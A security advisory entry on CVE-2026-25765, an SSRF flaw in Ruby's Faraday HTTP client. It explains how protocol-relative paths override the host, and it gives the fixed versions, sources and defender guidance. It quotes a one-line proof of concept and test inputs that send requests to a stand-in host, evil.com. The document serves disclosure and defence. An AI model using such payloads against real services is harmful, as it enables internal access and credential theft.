# Faraday Ruby HTTP client SSRF via protocol-relative URL in build_exclusive_url (CVE-2026-25765)

> Faraday's build_exclusive_url (versions 1.0.0-1.10.4 and 2.0.0-2.14.0) lets an attacker who controls the request path override the destination host with a protocol-relative URL such as //evil.com/steal, causing server-side request forgery. Fixed in 2.14.1 and 1.10.5; a minimal PoC is public and no in-the-wild exploitation is reported in the sources reviewed.

- **Published:** 2026-10-31T02:17:55Z
- **Last reviewed:** 2026-10-31T02:17:55Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-4872
- **ID:** TL-2026-4872
- **Severity:** MEDIUM (CVSS 5.8)
- **Category:** VULNERABILITY
- **Status:** PATCHED
- **Detections:** 9 · **IOCs:** 12 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-25765

## Description

Faraday is a widely used HTTP client abstraction library for Ruby. Its Faraday::Connection#build_exclusive_url method merges the connection's configured base URL with a caller-supplied path using Ruby's URI#merge. Per RFC 3986 sections 5.2.2 and 5.4, a reference beginning with two slashes (//host/path) is a network-path reference whose authority component replaces the base URL's host. The method only checked whether the input started with a single slash to tell paths from absolute URLs, so //evil.com/steal was treated as 'use this host'.

Minimal reproducer (published in the ProjectDiscovery write-up and the GitHub advisory): conn = Faraday.new(url: 'https://api.internal.com'); conn.get('//evil.com/steal'). The request is sent to https://evil.com/steal instead of api.internal.com. Exploitation requires an application that passes attacker-influenced input as the path argument to Faraday request methods such as get() or post(). Because the request is issued server-side, an attacker can steer it to internal services or to attacker-controlled hosts, which may receive any headers, credentials or bodies the connection attaches (for example default Authorization headers). The CVSS vector (S:C, C:L) reflects the scope change and limited confidentiality impact.

The fix (commit a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc, shipped in v2.14.1; patched in v1.10.5 for the 1.x line) extends the guard in build_exclusive_url so that inputs starting with // are prefixed with ./, neutralizing the authority component and keeping the request on the configured base host. Added tests cover //evil.com/path, //evil.com:8080/path, //user:pass@evil.com/path, ///evil.com and normal single-slash paths. Per ProjectDiscovery, the issue was found autonomously by its AI security copilot Neo (its first credited CVE); the advisory credits reporter theamanrawat and finder neo-ai-engineer. ProjectDiscovery notes Faraday is used in applications and libraries such as GitLab, Fastlane and Google auth libraries; the impact on those products is the article's statement and was not independently verified here.

No threat actor, malware or infrastructure is associated with this vulnerability. The sources do not report in-the-wild exploitation. Defenders should upgrade Faraday, audit code paths that pass untrusted input as the request path, and apply egress filtering. Detection focuses on request logs and application inputs containing a leading // in path parameters and on unexpected outbound destinations from Ruby services.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1046 Network Service Discovery
- T1552 Unsecured Credentials
- T1018 Remote System Discovery
- T1212 Exploitation for Credential Access
- T1048 Exfiltration Over Alternative Protocol

## Sources

- [How Neo found an SSRF vulnerability in Faraday, and why it matters for every team that ships code](https://projectdiscovery.io/blog/how-neo-found-an-ssrf-vulnerability-in-faraday-and-why-it-matters-for-every-team-that-ships-code)
- [Faraday GitHub Security Advisory GHSA-33mh-2634-fwr2](https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2)
- [NVD - CVE-2026-25765](https://nvd.nist.gov/vuln/detail/CVE-2026-25765)
- [Faraday fix commit a6d3a3a (build_exclusive_url protocol-relative handling)](https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc)
- [Faraday release v2.14.1](https://github.com/lostisland/faraday/releases/tag/v2.14.1)
- [GitLab Advisory Database - faraday CVE-2026-25765](https://advisories.gitlab.com/gem/faraday/CVE-2026-25765/)
- [OSV - CVE-2026-25765](https://api.osv.dev/v1/vulns/CVE-2026-25765)
- [SentinelOne Vulnerability Database - CVE-2026-25765](https://www.sentinelone.com/vulnerability-database/cve-2026-25765/)
- [Faraday PR #1569 - Merge relative url without escaping (earlier guard bypassed by this CVE)](https://github.com/lostisland/faraday/pull/1569)
- [Debian Security Tracker - CVE-2026-25765](https://security-tracker.debian.org/tracker/CVE-2026-25765)
- [Docker Scout - CVE-2026-25765](https://scout.docker.com/vulnerabilities/id/CVE-2026-25765)
- [OSV - CVE-2026-25765](https://osv.dev/vulnerability/CVE-2026-25765)
- [RFC 3986 section 5.2.2 / 5.4 - URI reference resolution](https://datatracker.ietf.org/doc/html/rfc3986#section-5.2.2)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-4872